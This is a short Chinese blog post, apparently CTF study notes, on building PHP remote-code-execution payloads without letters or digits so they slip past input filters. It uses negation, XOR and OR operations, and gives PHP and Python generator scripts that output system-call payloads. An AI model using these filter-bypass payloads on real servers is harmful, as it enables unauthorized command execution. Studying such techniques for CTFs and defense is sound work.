RCE绕过之无数字字母getshell

无数字字母getshell

①取反

php可以对汉字取反获得乱码,但大多数会包含一个字母,例如字取反为B_其中第二位就是大写字母B,所以可以通过这种方法获得字母B

这里使用羽师傅的脚本

<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
②异或

当过被滤掉字母时,我们可以使用异或运算的方法来拼写字母

var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P    
var_dump('/'^'`'); //得到字符 0    
var_dump('|'^'/'); //得到字符 S    
var_dump('{'^'/'); //得到字符 T    
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'

python异或查询脚本

pyhon异或运算转换脚本

③或运算

原理与异或相同

这里使用猫神师傅的脚本

# 或运算脚本
def solve3(CODE):
    l = 'abcdefghijklmnopqrstuvwxyz'
    n = '0123456789'
    operation = input("Operation:")
    front = ""
    after = ""
    for i in operation:
        if i.isalpha():
            front += chr(l.index(i) + 1)
            after += chr(64)
        elif i.isdigit():
            front += chr(n.index(i) + 32)
            after += chr(16)
        else:
            front += i
            after += i
    payload = "($_=(\"%13%19%13%14%05%0D\"|\"%40%40%40%40%40%40\")).($__ = \"" + quote(
        front) + "\"" + '|' + "\"" + quote(after) + "\").($_($__));"
    print('payload:' + payload)

返回主页

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值